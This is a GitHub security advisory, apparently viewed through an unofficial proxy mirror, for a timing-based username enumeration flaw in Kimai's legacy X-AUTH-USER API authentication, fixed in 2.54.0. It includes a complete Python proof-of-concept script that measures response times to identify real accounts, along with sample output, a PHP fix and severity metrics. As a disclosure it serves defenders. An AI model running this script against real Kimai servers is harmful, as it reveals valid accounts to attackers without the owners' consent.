豆豆友情提示:这是一个非官方 GitHub 代理镜像,主要用于网络测试或访问加速。请勿在此进行登录、注册或处理任何敏感信息。进行这些操作请务必访问官方网站 github.com。 Raw 内容也通过此代理提供。
Skip to content

Kimai: Username enumeration via timing on X-AUTH-USER

Low severity GitHub Reviewed Published Apr 16, 2026 in kimai/kimai • Updated Apr 17, 2026

Package

composer kimai/kimai (Composer)

Affected versions

<= 2.53.0

Patched versions

2.54.0

Description

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.

The /api/* firewall has no login_throttling configured, so the probe is unbounded.

The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
    req = urllib.request.Request(
        url + PROBE_PATH,
        headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
    )
    t0 = time.perf_counter()
    try:
        urllib.request.urlopen(req, context=ctx, timeout=10).read()
    except urllib.error.HTTPError as e:
        e.read()
    return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
    return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
    with open(path) as f:
        return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
    ap = argparse.ArgumentParser(description=__doc__.strip())
    ap.add_argument("-u", "--url", required=True,
                    help="base URL, e.g. https://kimai.example")
    ap.add_argument("-l", "--list", required=True, metavar="FILE",
                    help="one candidate username per line")
    ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
                    help="median delta over baseline that flags a real user")
    ap.add_argument("-n", "--samples", type=int, default=15)
    ap.add_argument("--verify-tls", action="store_true")
    args = ap.parse_args()

    url = args.url.rstrip("/")
    ctx = None if args.verify_tls else ssl._create_unverified_context()
    candidates = load_candidates(args.list)

    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
    print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

    width = max(len(u) for u in candidates)
    print(f"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict")
    print("-" * (width + 30))
    for user in candidates:
        m = median_ms(url, user, args.samples, ctx)
        delta = m - baseline
        verdict = "REAL" if delta > args.threshold else "-"
        print(f"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}")


if __name__ == "__main__":
    main()

Usage:

$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username                        median     delta  verdict
----------------------------------------------------------
user1@example.com               64.2ms   +26.5ms  REAL
user2@example.com               72.4ms   +34.7ms  REAL
user3@example.com               70.0ms   +32.3ms  REAL
tester.nonexistent@example.com  37.2ms    -0.5ms  -
admin                           63.6ms   +25.9ms  REAL
administrator                   38.2ms    +0.4ms  -
root                            37.3ms    -0.4ms  -
test                            33.6ms    -4.1ms  -
demo                            38.2ms    +0.5ms  -
kimai                           37.0ms    -0.7ms  -
nonexistent_user_aaa            38.1ms    +0.4ms  -
nonexistent_user_bbb            37.5ms    -0.2ms  -
nonexistent_user_ccc            38.4ms    +0.7ms  -

In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

Fix

In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:

private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try {
    $user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
    $this->passwordHasherFactory
        ->getPasswordHasher(User::class)
        ->verify(self::DUMMY_HASH, $credentials['password']);
    throw $e;
}

The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.

Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 

References

@kevinpapst kevinpapst published to kimai/kimai Apr 16, 2026
Published to the GitHub Advisory Database Apr 17, 2026
Reviewed Apr 17, 2026
Last updated Apr 17, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Weaknesses

Observable Timing Discrepancy

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-jrc6-fmhw-fpq2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.